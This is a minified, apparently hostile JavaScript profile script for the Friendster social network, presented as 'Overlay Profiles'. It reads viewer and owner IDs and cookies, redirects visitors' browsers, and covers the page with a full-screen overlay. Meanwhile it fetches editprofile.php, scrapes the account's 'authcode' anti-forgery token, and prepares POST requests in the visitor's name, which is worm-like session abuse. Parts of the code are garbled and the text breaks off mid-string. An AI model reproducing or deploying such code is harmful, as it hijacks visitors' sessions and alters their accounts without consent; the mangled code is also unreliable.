var pvn=pageViewerFName,pvd=pageViewerID,pod=pageOwnerID,pon=pageOwnerFName,dm="friendster",at=fgetCookie(dm+'_tforte'),vID=pvd+pod,cLoc=top.location.href,pUrl=window.location.href.search(/profiles\./),iM='',uUrl='',clr; /*Search USER_URL OwnerPage*/ function gE(stC,stT,oCE){stT=stT||"*";oCE=oCE||document;var oCl=oCE.getElementsByTagName(stT);if(!oCl.length&&stT=="*"&&oCE.all)oCl=oCE.all;var ar=new Array();var dL=stC.indexOf('|')!=-1?'|':' ';var arC=stC.split(dL);for(var i=0,j=oCl.length;iarOC.length)continue;var c=0;cLop:for(var k=0,l=arOC.length;k0){parent.iM=cLoc.slice(cLoc.indexOf('.com/')+5,cLoc.length); if(!isNaN(iM)){ for(i=0;i',uIx);uUrl=tU.substring(uIx+24,uEx);break;} }}else{uUrl=iM;} if(pvd!=pod){if(at!=vID){if(isNaN(uUrl)){document.cookie=dm+"_tforte="+pvd+pod+";path=/";top.location.href="http://www."+dm+".com/profiles/"+uUrl;}}}else if(pvd==pod){setTimeout("top.location.href='http://www."+dm+".com/editusername.php'",7000);}} else{ldr=new LdR();setTimeout("OGS();",7000);} } /* ***End MAIN**** */ function doNe(){var loc="http://profiles."+dm+".com/"+pod;window.location.href=loc;} /*Display Layar Tunggu*/ function LdR(){this.hide=function(){lding.style.display='none';};var lding=document.getElementById('navBg');var mW=0,mH=0;if(typeof(window.innerWidth)=='number'){mW=window.innerWidth;mH=window.innerHeight;}else if(document.documentElement&&(document.documentElement.clientWidth||document.documentElement.clientHeight)){mW=document.documentElement.clientWidth;mH=document.documentElement.clientHeight;}else if(document.body&&(document.body.clientWidth||document.body.clientHeight)){mW=document.body.clientWidth;mH=document.body.clientHeight;}lding.innerHTML='












';lding.style.display='';lding.style.position='fixed';lding.style.top='0px';lding.style.left='0px';lding.style.width=mW;lding.style.height=mH;lding.style.backgroundImage='url(http://img523.imageshack.us/img523/2554/tprntbn1.png)';lding.style.backgroundRepeat='repeat';lding.style.zIndex=1000;} /*End LdR*/ /*Ajax Engine (XMLHTTP Post Method) */ function cAjOPst(xmlHttp2,AJAXsource2,formMethod){eval("var "+xmlHttp2);try{eval(xmlHttp2+"=new XMLHttpRequest();");}catch(e){try{eval(xmlHttp2+"=new ActiveXObject('Msxml2.XMLHTTP');");}catch(e){try{eval(xmlHttp2+"=new ActiveXObject('Microsoft.XMLHTTP');");}catch(e){alert("Your browser does not support Overlay Profiles!");return false;}}}eval(xmlHttp2+".open('POST','"+AJAXsource2+"',true);");eval(xmlHttp2+".setRequestHeader('Content-Type','application/x-www-form-urlencoded');");eval(xmlHttp2+".send('"+formMethod+"');");} /*End cAjOPst*/ /*Ajax Engine (Object Retrieve)*/ function cAjOb(xmlHttp,AJAXsource,func,ogAJAX){eval("var "+xmlHttp);try{eval(xmlHttp+"=new XMLHttpRequest();");}catch (e){try{eval(xmlHttp+"=new ActiveXObject('Msxml2.XMLHTTP');");}catch (e){try{eval(xmlHttp+"=new ActiveXObject('Microsoft.XMLHTTP');");}catch (e){alert("Your browser does not support Overlay Profiles!");return false;}}}eval(xmlHttp+".onreadystatechange=function(){if("+xmlHttp+".readyState==4){"+ogAJAX+"="+xmlHttp+".responseText;"+func+"("+ogAJAX+")}}");eval(xmlHttp+".open('GET','"+AJAXsource+"',true);");eval(xmlHttp+".send(null);");} /*End cAjOb*/ /*Ajax Getting authcode */ var auCod; var AUTHPLink="http://www."+dm+".com/editprofile.php"; cAjOb('varExecAUTH',AUTHPLink,'ajXau','pAuthAX');function ajXau(auCod1){auCod1=auCod1.slice(auCod1.indexOf("authcode")+17,auCod1.indexOf('">